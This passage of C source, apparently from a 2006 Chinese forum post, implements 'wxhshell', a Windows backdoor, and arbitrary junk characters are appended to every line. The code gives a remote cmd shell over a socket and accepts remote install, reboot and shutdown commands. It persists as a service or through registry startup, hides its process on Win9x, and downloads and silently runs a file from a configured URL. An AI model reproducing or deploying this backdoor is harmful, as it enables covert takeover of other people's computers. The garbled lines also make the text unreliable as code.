      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W^W^5-'"D,  
    break; `?Yh`P0  
  } D 5]sf>~  
  // 安装 Kc*h@#`~oL  
  case 'i': { A+T! DnVof  
    if(Install()) DYU+?[J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A-O@e e  
    else XQhBnam%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SLL%XF~/Sb  
    break; ?Ovl(4VG  
    } m9UI3fBX  
  // 卸载 "SyAOOZ  
  case 'r': { 2;G^>BP<  
    if(Uninstall()) =Uta5$\a)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <LDVO'I0 !  
    else q"5iza__H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :luVsQ  
    break; aD,sx#g0  
    }  UfEF>@0  
  // 显示 wxhshell 所在路径 s#ijpc>h  
  case 'p': { DD\:glo  
    char svExeFile[MAX_PATH]; %_wX9Z T  
    strcpy(svExeFile,"\n\r"); maLKUSgo  
      strcat(svExeFile,ExeFile); ;CD.8f]N  
        send(wsh,svExeFile,strlen(svExeFile),0); rLNo7i  
    break; 1e*+k$-{  
    } 1Fn+nDn O6  
  // 重启 F kp;G  
  case 'b': { .N8AkQ(Ok  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oBr/CW  
    if(Boot(REBOOT)) R74kt36M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Y!*6I  
    else { g]R }w@nJ  
    closesocket(wsh); *ta ``q  
    ExitThread(0); o~,dkV  
    } Cs7YD~,  
    break; 1vBR\!d?7  
    } {[PoLOCI  
  // 关机 etj8M y6=  
  case 'd': { ]lzt "[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OS6 l*S('  
    if(Boot(SHUTDOWN)) Qj? +R F6(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Ya TE<G  
    else { AoL4#.r3H  
    closesocket(wsh); ywpk\  
    ExitThread(0); gvO}u2.:  
    } v`MCV29!}  
    break; n4+l, ~  
    } mc;Z#"kf  
  // 获取shell S,m)yh.  
  case 's': { j`A%(()d  
    CmdShell(wsh); ;wIpche  
    closesocket(wsh); wp`a:QZ8N  
    ExitThread(0); S,Boutd  
    break; W~+ ] 7<  
  } 1q<BYc+z  
  // 退出 Y~vI@$<~(  
  case 'x': { 4df)?/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M ()&GlNs  
    CloseIt(wsh); `3^ *K/K\  
    break; .`& ($W  
    } XP<wHh  
  // 离开 >S3iP?V7  
  case 'q': { 6+(g4MW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ulV)X/]1  
    closesocket(wsh); k/YEUC5  
    WSACleanup(); ~;k-/Z"  
    exit(1); Vo<V!G{  
    break; -! Hn,93  
        } @dQIl#  
  } 7OX5"u!2  
  } oCdWf63D  
=4uL1[0'  
  // 提示信息 bsy\L|wd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bl NJ  
} #N_C| v/  
  } = ;#?CAa:  
%Kx:'m%U  
  return; 6U6,Wu  
} RUUV"y  
%KK6}d #  
// shell模块句柄 L5! aLv#  
int CmdShell(SOCKET sock) 4%1sOnl  
{ yB\}e'J^  
STARTUPINFO si; A;n3""  
ZeroMemory(&si,sizeof(si)); 9 o6ig>C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .)o<'u@Ri  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =.O8G=;DOA  
PROCESS_INFORMATION ProcessInfo; SYRr|Lg  
char cmdline[]="cmd"; yKF"\^`@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6gV-u~j[#  
  return 0; 2{Nv&ZX?  
} {/G~HoY1i  
Ac}+U q  
// 自身启动模式 ;rYL\`6L  
int StartFromService(void) M_*"g>Z  
{ _0ki19rs  
typedef struct ~wf&78  
{ }#5V t  
  DWORD ExitStatus; m`gH5vQa  
  DWORD PebBaseAddress; awh<CmcZ  
  DWORD AffinityMask; J7q^4M+o:  
  DWORD BasePriority; FIhq>L.q4  
  ULONG UniqueProcessId; F7lhLly  
  ULONG InheritedFromUniqueProcessId; 3:Q5dr+1_  
}   PROCESS_BASIC_INFORMATION; 42E]&=Cet  
H)z}6[`  
PROCNTQSIP NtQueryInformationProcess; ,%7>%*nhk  
:,%~R2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "vI:B}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =V~p QbZ  
NovF?kh2  
  HANDLE             hProcess; IHHL. gT  
  PROCESS_BASIC_INFORMATION pbi; tIfA]pE  
<5(P4cm9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &7_xr.c7  
  if(NULL == hInst ) return 0; o0nd]"q?  
F,+nj?i!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jWk1FQte  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,Z*&QR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hy=';Ccn}  
l =~EweuM  
  if (!NtQueryInformationProcess) return 0; 4H'\nsM  
lWr=79  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zLEl/yPE  
  if(!hProcess) return 0; F!.Z@y P  
6D3hX>K4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ChzKwYDY  
j=b?WNK  
  CloseHandle(hProcess); 0Cd )w4C  
v,bCj6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *YH5kX  
if(hProcess==NULL) return 0; 4.Luy  
k|V%*BvY>  
HMODULE hMod; T40&a(hXQ  
char procName[255]; B!{vSBq  
unsigned long cbNeeded; APY^A6^:j  
E;m]RtvH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -Uj)6PzGu  
K|[p4*6  
  CloseHandle(hProcess); 'w//d $+G_  
v$~1{}iI5  
if(strstr(procName,"services")) return 1; // 以服务启动 A$d)xq-]K  
j#4 Iu&YJ  
  return 0; // 注册表启动 e=uElp'%  
} b7-M'-Km0_  
wJc~AP)I%z  
// 主模块 6L5j  
int StartWxhshell(LPSTR lpCmdLine) 4z6i{n-k  
{ ~4gOv  
  SOCKET wsl; /bm2v;  
BOOL val=TRUE; VPOzt7:  
  int port=0; 0Va+l)F  
  struct sockaddr_in door; lGoP(ki  
-DAkVFsN  
  if(wscfg.ws_autoins) Install(); Ub[SUeBGH  
DpD19)ouy  
port=atoi(lpCmdLine); GZ=7)eJ~<  
1M@OBfB8  
if(port<=0) port=wscfg.ws_port; S7oPdzcU-  
7Yv1et |  
  WSADATA data; `Xs3^FJt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; arVu`pD*n  
>- S?rXO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DA=#T2)p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ky4 ;7RK  
  door.sin_family = AF_INET; A]<+Aq@{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BQWhTS7  
  door.sin_port = htons(port); }+mIP:T  
sr S2v\1:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T'i^yd }*v  
closesocket(wsl); D;?cf+6$  
return 1; B'NtG84  
} -9PJ4"H  
|)TI&T;k  
  if(listen(wsl,2) == INVALID_SOCKET) { nR %ey"  
closesocket(wsl); 3{:AG,G  
return 1; y~ 2C2'7  
} b@v_db]|t.  
  Wxhshell(wsl); $G\WW@*GE  
  WSACleanup();  ujin+;1  
) wZ;}O  
return 0; 6DkFIkS  
1`sLbPW  
}  lL\%eQ  
|.#G G7F^S  
// 以NT服务方式启动 d9=i{i3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R!)3{cjU@  
{ kh4., \'  
DWORD   status = 0; g49G7sk  
  DWORD   specificError = 0xfffffff; C4[)yJ  
gDN7ly]6M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; % _.kd"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s78MXS?py  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SAVA6 64  
  serviceStatus.dwWin32ExitCode     = 0; ;OMR5KAz  
  serviceStatus.dwServiceSpecificExitCode = 0; !k3 eUBF  
  serviceStatus.dwCheckPoint       = 0; :?!b\LJ2^  
  serviceStatus.dwWaitHint       = 0; B3^F $6=  
"1P[D'HV4|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PEr &|H2  
  if (hServiceStatusHandle==0) return; .#q]{j@Ot  
qkbGM-H%U  
status = GetLastError(); @> |3d  
  if (status!=NO_ERROR) G-6k[-@-v  
{ vZiuElxKi  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :kMF.9U:  
    serviceStatus.dwCheckPoint       = 0; W(jOD,QMB  
    serviceStatus.dwWaitHint       = 0; 5FJ(x:k?z  
    serviceStatus.dwWin32ExitCode     = status; eG_@WLxwD  
    serviceStatus.dwServiceSpecificExitCode = specificError; =?3b3PZn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IRknD3LX  
    return; u~xfI[8C  
  } ;!hwcOkX  
{{r.?m#{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )Fsc0_  
  serviceStatus.dwCheckPoint       = 0; Te6cw+6  
  serviceStatus.dwWaitHint       = 0; `VrQ? s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O7"16~ a  
} 56?RFnZ&j  
%f?Z/Wn  
// 处理NT服务事件,比如:启动、停止 fsjCu!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y9Q #%a8V  
{ g:fkM{"{  
switch(fdwControl) nl-y0xD9c  
{ M!wa }  
case SERVICE_CONTROL_STOP: @B`nM#X#  
  serviceStatus.dwWin32ExitCode = 0; Ro@ =oyLE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; eH_< <Xh!v  
  serviceStatus.dwCheckPoint   = 0; XfQK kol  
  serviceStatus.dwWaitHint     = 0; F~$ay@g  
  { 'NNfzh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Et! 6i7`]  
  } OQ&'3hv{  
  return; Kh8  
case SERVICE_CONTROL_PAUSE: @tIY%;Bgk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2C Fgit  
  break; V7"^.W*  
case SERVICE_CONTROL_CONTINUE: F{G.dXZZ<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /UqIkc  
  break; 4KX\'K  
case SERVICE_CONTROL_INTERROGATE: ym8pB7E7%  
  break; tfCK^{  
}; (PC)R9r5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2EH0d6nt  
} Ya &\b 6  
ffQm"s:P  
// 标准应用程序主函数 :+_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eakQZ-Q  
{ r3NdE~OAi  
"x0/i?pqa  
// 获取操作系统版本 D0}r4eA  
OsIsNt=GetOsVer(); kQ`p\}7_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :Vy*MPS5  
m%cwhH_B  
  // 从命令行安装 FL {$9o\@  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?J@P0(M#  
7Ucq(,\./  
  // 下载执行文件 &Nw[J5-"k  
if(wscfg.ws_downexe) { +O)Y7k{?C5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?="?)t[  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZY|$[>X!  
} W)<t7q+  
$-p9cyk  
if(!OsIsNt) { feJl[3@tO  
// 如果时win9x,隐藏进程并且设置为注册表启动 !'#GdRstv  
HideProc(); OH13@k  
StartWxhshell(lpCmdLine); fXe$Ug|5a  
} qg2Vmj<H  
else {kghZur  
  if(StartFromService()) Vb)NWXmyu  
  // 以服务方式启动 aL&nD1f=!-  
  StartServiceCtrlDispatcher(DispatchTable); ,1B` Ve  
else jp7cPpk:LG  
  // 普通方式启动 NRT@"3,1YP  
  StartWxhshell(lpCmdLine); z?@N+||,.  
Nt|Fw$3*5{  
return 0; "r~/E|Da<  
}
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只看该作者 1 发表于: 2006-10-10
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